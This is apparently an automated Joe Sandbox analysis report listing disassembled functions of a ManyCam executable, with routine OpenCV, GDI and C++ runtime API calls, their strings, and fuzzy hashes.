Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: .png$data\images\maindlg\$[T
API String ID: 1315443971-2026572451
Opcode ID: c6f48d1d889a1724de804aacf42f1e29f9f12b616ab2601b8390a8dfddbfe8a6
Instruction ID: 945d218172822ab397b4e05be073ae2f2c5b6e28a5be2581afe793848f371de3
Opcode Fuzzy Hash: c6f48d1d889a1724de804aacf42f1e29f9f12b616ab2601b8390a8dfddbfe8a6
Instruction Fuzzy Hash: 22312C71D15248DBCF04DFA5D885BEEBBB4FB08318F50452EE41277281DB785609CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 01724050 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

cvError.CXCORE099(FFFFFF2D,cvSetSeqBlockSize,017A124F,.\cxdatastructs.cpp,000001F4,0000BA50,017276EE,00000000,00000400,?,?,?,?,00000000), ref: 01724089

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF2D,cvSetSeqBlockSize,Storage block size is too small to fit the sequence elements,.\cxdatastructs.cpp,00000204,00000000,0000BA50,017276EE,00000000,00000400,?,?,?,?,00000000), ref: 017240E1
cvError.CXCORE099(000000E5,cvSetSeqBlockSize,017A124F,.\cxdatastructs.cpp,000001F2,0000BA50,017276EE,00000000,00000400,?,?,?,?,00000000), ref: 01724108

Strings

Storage block size is too small to fit the sequence elements, xrefs: 017240D2
cvSetSeqBlockSize, xrefs: 0172407F, 017240D7, 01724101
.\cxdatastructs.cpp, xrefs: 01724075, 017240CD, 017240F7

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxdatastructs.cpp$Storage block size is too small to fit the sequence elements$cvSetSeqBlockSize
API String ID: 483703942-3159673213
Opcode ID: c34ba0c28f197ff76cf774cc70dfc46a9f333d15d856e8ad471cde479485d101
Instruction ID: 43e1eca8255c20acd8699a5becd4f956c98b2fb73f6268b4d66891cd9d70d7a8
Opcode Fuzzy Hash: c34ba0c28f197ff76cf774cc70dfc46a9f333d15d856e8ad471cde479485d101
Instruction Fuzzy Hash: D30126F274472277DB10A42EFC22E1AE2855BD5E24B5843BCF512EB2CFE6A1D4C24194

Uniqueness

Uniqueness Score: -1.00%

Function 016FE770 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

cvAlloc.CXCORE099(00000014,?,?,016FEBC1,00000000,?,?), ref: 016FE781
cvGetErrStatus.CXCORE099 ref: 016FE78B

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,icvCreateROI,Inner function failed.,.\cxarray.cpp,00000CA5), ref: 016FE7AA

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

Strings

.\cxarray.cpp, xrefs: 016FE799
icvCreateROI, xrefs: 016FE7A3
Inner function failed., xrefs: 016FE79E

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$AllocErrormalloc
String ID: .\cxarray.cpp$Inner function failed.$icvCreateROI
API String ID: 1242358460-3077613536
Opcode ID: 027ed8353af7859fa7ca85d769543adcfc96021296af99fd0ed9d68060d854ef
Instruction ID: 1acd710531d2d51d27efa9d77c3efc96763e4e5d16728b703f369d5fd0c676fc
Opcode Fuzzy Hash: 027ed8353af7859fa7ca85d769543adcfc96021296af99fd0ed9d68060d854ef
Instruction Fuzzy Hash: 63F062B57443456FD620DF5AAC44D27F7E8EBD07A4F408A2DF5AD93640D631E8008755

Uniqueness

Uniqueness Score: -1.00%

Function 005004E0 Relevance: 10.5, APIs: 7, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 005004E8
CreateCompatibleBitmap.GDI32(74C45DB3,00000001,00000001), ref: 005004F9
SelectObject.GDI32(004FFD5A,?), ref: 0050050A
DeleteObject.GDI32(004FFD5A), ref: 00500517
DeleteObject.GDI32(?), ref: 00500521
DeleteDC.GDI32(004FFD5A), ref: 0050052B
DeleteDC.GDI32(74C45DB3), ref: 00500535

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Delete$Object$BitmapCompatibleCreateSelect
String ID:
API String ID: 3915743176-0
Opcode ID: b63c2d31c0b96e8bb4f8e8f13ea308aed4bd4cf6168d262f444604c21e878b20
Instruction ID: 1b2a2ef179f50e4d9ec7ba4aa31c39b7eea7e62ab75ac1a615a3d8bcab50b0f7
Opcode Fuzzy Hash: b63c2d31c0b96e8bb4f8e8f13ea308aed4bd4cf6168d262f444604c21e878b20
Instruction Fuzzy Hash: 7FF0E7B9900208FBDB04DFF4D88CA9EBB78AB58301F008146FB1993350C7359A48EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004242A0 Relevance: 9.2, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

GetCursorInfo.USER32(00000014), ref: 004242CD
ScreenToClient.USER32(?,?), ref: 004242E1

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

GetDC.USER32(?), ref: 004243EE
wcslen.MSVCR80 ref: 00424408
GetTextExtentPoint32W.GDI32(?,?,00000000), ref: 00424420
ReleaseDC.USER32(?,?), ref: 00424437

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Client$CursorExtentInfoPoint32RectReleaseScreenTextwcslen
String ID:
API String ID: 1818624329-0
Opcode ID: 0c1df39c5964b91920f54f72ee6645779ec71c993bd4406e2e7bfb2a43fad3da
Instruction ID: dfbf29d46014c909a867da8c656cefcdd1fdc3d0d0c0ac4eb1bf690a27bc7e37
Opcode Fuzzy Hash: 0c1df39c5964b91920f54f72ee6645779ec71c993bd4406e2e7bfb2a43fad3da
Instruction Fuzzy Hash: B871FC71A00528DBCB54DB58DC91BAEB3B5FF88309F44818EE54AB7241DF34AA84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0172E589 Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

cvStartReadSeq.CXCORE099(00000000,?,00000000), ref: 0172E5D2
cvClearSeq.CXCORE099(?), ref: 0172E63A
cvStartAppendToSeq.CXCORE099(?,?,?), ref: 0172E649
cvCreateSeqBlock.CXCORE099(?), ref: 0172E660
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 0172E6B5

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: BlockStart$AppendChangeClearCreateRead
String ID:
API String ID: 3520445126-0
Opcode ID: 4e788ac5564323c2ec18353e703e5147c070075cd1f8933d85936567d4a3ae35
Instruction ID: 19a998118c6ef4b9ca8f9f7b79cefe0ee0c44784c7b7bf727e1655f403b6fc83
Opcode Fuzzy Hash: 4e788ac5564323c2ec18353e703e5147c070075cd1f8933d85936567d4a3ae35
Instruction Fuzzy Hash: AF5149756183519FD724CF58C890B6BBBE9AF88304F04885CF98987346E775E846CB92

Uniqueness

Uniqueness Score: -1.00%

Function 004E2290 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,00000000,00536A39,000000FF,?,004E1A94,?,00000001,00000000,004E0575,00000001,00000000,00000000), ref: 004E22D4
std::bad_exception::bad_exception.LIBCMTD ref: 004E22E8
_CxxThrowException.MSVCR80(004E1A94,0057CBF8), ref: 004E22F6
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(004E1A94,0057CBF8,?,?,?,00000000,00536A39,000000FF,?,004E1A94,?,00000001,00000000,004E0575,00000001,00000000), ref: 004E2305

Strings

map/set<T> too long, xrefs: 004E22CC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: 037b1c6f34042e82ce7b50c5ae10a42ae7eaf65c3770f3036ce6bbe0d0c371b4
Instruction ID: eb3dced5db3925a888724237d041c26940005993663a78e11fc02054abcc7e87
Opcode Fuzzy Hash: 037b1c6f34042e82ce7b50c5ae10a42ae7eaf65c3770f3036ce6bbe0d0c371b4
Instruction Fuzzy Hash: E7D10F70A002C99FCB04EFAAC991D6F777ABF89345B10455EF4119F366CA78AC01DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0048C8C0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,?,00530F19,000000FF,?,0048A224,?,00000001,?,?,00000001,00000000,00000000), ref: 0048C904
std::bad_exception::bad_exception.LIBCMTD ref: 0048C918
_CxxThrowException.MSVCR80(0048A224,0057CBF8), ref: 0048C926
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(0048A224,0057CBF8,?,?,?,00530F19,000000FF,?,0048A224,?,00000001,?,?,00000001,00000000,00000000), ref: 0048C935

Strings

map/set<T> too long, xrefs: 0048C8FC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: 5d9bd5cfefa7126eaa9cce7f59cf12a6ec2056fb24f196b19c599b19faf1435e
Instruction ID: 781e3e5cdacf5d297dd74e0af013611e08a9c6e7430d9740113c692fd0013158
Opcode Fuzzy Hash: 5d9bd5cfefa7126eaa9cce7f59cf12a6ec2056fb24f196b19c599b19faf1435e
Instruction Fuzzy Hash: B0D1ED70A002499FCB04FFA5C891D6F7775EF8A708F20496EF6159B255CB38AD05CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00474C80 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,00000000,0052F989,000000FF,?,00474884,?,00000001,00000000,004A9763,00000001,00000000,00000000), ref: 00474CC4
std::bad_exception::bad_exception.LIBCMTD ref: 00474CD8
_CxxThrowException.MSVCR80(00474884,0057CBF8), ref: 00474CE6
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(00474884,0057CBF8,?,?,?,00000000,0052F989,000000FF,?,00474884,?,00000001,00000000,004A9763,00000001,00000000), ref: 00474CF5

Strings

map/set<T> too long, xrefs: 00474CBC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: fb5a5b0bfe5d7466eb37912541b6a1e1978402ae83b6b00b3775f69bc8b7d628
Instruction ID: 902e9eb1271cb93d2a72db74486b01d1d5c84e1b516abcfe74867b495f5f0d12
Opcode Fuzzy Hash: fb5a5b0bfe5d7466eb37912541b6a1e1978402ae83b6b00b3775f69bc8b7d628
Instruction Fuzzy Hash: 1ED1FB70A002099FCB04EFA5D891EEF7776AF89318B20855EF4159F295CB38AC51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0048CF10 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,?,00530F49,000000FF,?,0048A514,?,00000001,?,?,00000001,00000000,00000000), ref: 0048CF54
std::bad_exception::bad_exception.LIBCMTD ref: 0048CF68
_CxxThrowException.MSVCR80(0048A514,0057CBF8), ref: 0048CF76
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(0048A514,0057CBF8,?,?,?,00530F49,000000FF,?,0048A514,?,00000001,?,?,00000001,00000000,00000000), ref: 0048CF85

Strings

map/set<T> too long, xrefs: 0048CF4C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: 6ffb65bce278b8fe47ce7c833305a1f3afc7f0cb37ed8eddf46bce9baa873d41
Instruction ID: 50f8718e498666fa4da98437a76d4638b1e2a723603710fac9882f3192207998
Opcode Fuzzy Hash: 6ffb65bce278b8fe47ce7c833305a1f3afc7f0cb37ed8eddf46bce9baa873d41
Instruction Fuzzy Hash: 1BD1AA70A002459FCB04FFA5D8D1EAF77B6BF89304B10495EF511AB396CA39A901CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00411300 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,00000000,00528E39,000000FF,?,004112C4,?,00000001,00000000,0040F3C5,00000001,00000000,00000000), ref: 00411344
std::bad_exception::bad_exception.LIBCMTD ref: 00411358
_CxxThrowException.MSVCR80(004112C4,0057CBF8), ref: 00411366
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(004112C4,0057CBF8,?,?,?,00000000,00528E39,000000FF,?,004112C4,?,00000001,00000000,0040F3C5,00000001,00000000), ref: 00411375

Strings

map/set<T> too long, xrefs: 0041133C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: 42cbf8a29792d702c98aabde1d8b08b81332d8e2c8f3267b75d2f7efa1133912
Instruction ID: fc6447a121a983bb72d300740fc035bcb7914751d3a952c33331dda71f3fca67
Opcode Fuzzy Hash: 42cbf8a29792d702c98aabde1d8b08b81332d8e2c8f3267b75d2f7efa1133912
Instruction Fuzzy Hash: 4DD12D70A002099FCB04EFE5C991EEFB775AF89304B10455EF512AB365CA7CAD51CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004C14E0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,00000000,005340C9,000000FF,?,004C1384,?,00000001,00000000,004BAFA3,00000001,00000000,00000000), ref: 004C1524
std::bad_exception::bad_exception.LIBCMTD ref: 004C1538
_CxxThrowException.MSVCR80(004C1384,0057CBF8), ref: 004C1546
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(004C1384,0057CBF8,?,?,?,00000000,005340C9,000000FF,?,004C1384,?,00000001,00000000,004BAFA3,00000001,00000000), ref: 004C1555

Strings

map/set<T> too long, xrefs: 004C151C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: 373c4984a0380365a134575c025ccd3d03ef30724ed9c15aa6ec8d22811ce55d
Instruction ID: 5f54f1dc26024d97c3e5589f28a2b26444c27508ce2d65950266073b7809569a
Opcode Fuzzy Hash: 373c4984a0380365a134575c025ccd3d03ef30724ed9c15aa6ec8d22811ce55d
Instruction Fuzzy Hash: D1D10F75E042459FCB04EFA5C891EAF7775AF8A304F1045AEF502AB355DA38AD01CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0048D7D0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,?,00530F79,000000FF,?,0048AEF4,?,00000001,?,?,00000001,00000000,00000000), ref: 0048D814
std::bad_exception::bad_exception.LIBCMTD ref: 0048D828
_CxxThrowException.MSVCR80(0048AEF4,0057CBF8), ref: 0048D836
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(0048AEF4,0057CBF8,?,?,?,00530F79,000000FF,?,0048AEF4,?,00000001,?,?,00000001,00000000,00000000), ref: 0048D845

Strings

map/set<T> too long, xrefs: 0048D80C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: map/set<T> too long
API String ID: 3248949544-1285458680
Opcode ID: 30f3dba2d2509044dd435c0e4a58e2e90cb7d7e200ab4d5d41f53f078059e0ff
Instruction ID: f924f05d9c195ac9d2efefafaa7b998481315dfbc5b04f0f3db32ea2b030e7a3
Opcode Fuzzy Hash: 30f3dba2d2509044dd435c0e4a58e2e90cb7d7e200ab4d5d41f53f078059e0ff
Instruction Fuzzy Hash: 1ED1DB74E102459FCB04FFA5C891E6F7B75AF89304F10896EF4159B295CA38AD01CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004059C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

cvCreateMat.CXCORE099(00000004,00000001,00000005,?,?,004015E6,?), ref: 004059C9
cvCreateMat.CXCORE099(00000004,00000001,00000005,?,?,?,?,?,004015E6,?), ref: 00405A0C
cvCreateMat.CXCORE099(00000004,00000001,00000005,?,?,?,?,?,?,?,?,004015E6,?), ref: 00405A4F

Part of subcall function 004057D0: cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,00000000), ref: 004057DA
Part of subcall function 004057D0: cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,00000000), ref: 004057EC
Part of subcall function 004057D0: cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,?,?,?,00000000), ref: 004057FE
Part of subcall function 004057D0: cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405810
Part of subcall function 004057D0: cvGEMM.CXCORE099(?,?), ref: 0040586A
Part of subcall function 004057D0: cvGEMM.CXCORE099(?,?), ref: 00405895
Part of subcall function 004057D0: cvReleaseMat.CXCORE099(?), ref: 004058A2
Part of subcall function 004057D0: cvReleaseMat.CXCORE099(?), ref: 004058AF
Part of subcall function 004057D0: cvReleaseMat.CXCORE099(?), ref: 004058BC
Part of subcall function 004057D0: cvReleaseMat.CXCORE099(?), ref: 004058C9

cvReleaseMat.CXCORE099(?,?,?,?,00000000), ref: 00405A9A
cvReleaseMat.CXCORE099(?), ref: 00405AA7
cvReleaseMat.CXCORE099(?), ref: 00405AB4

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

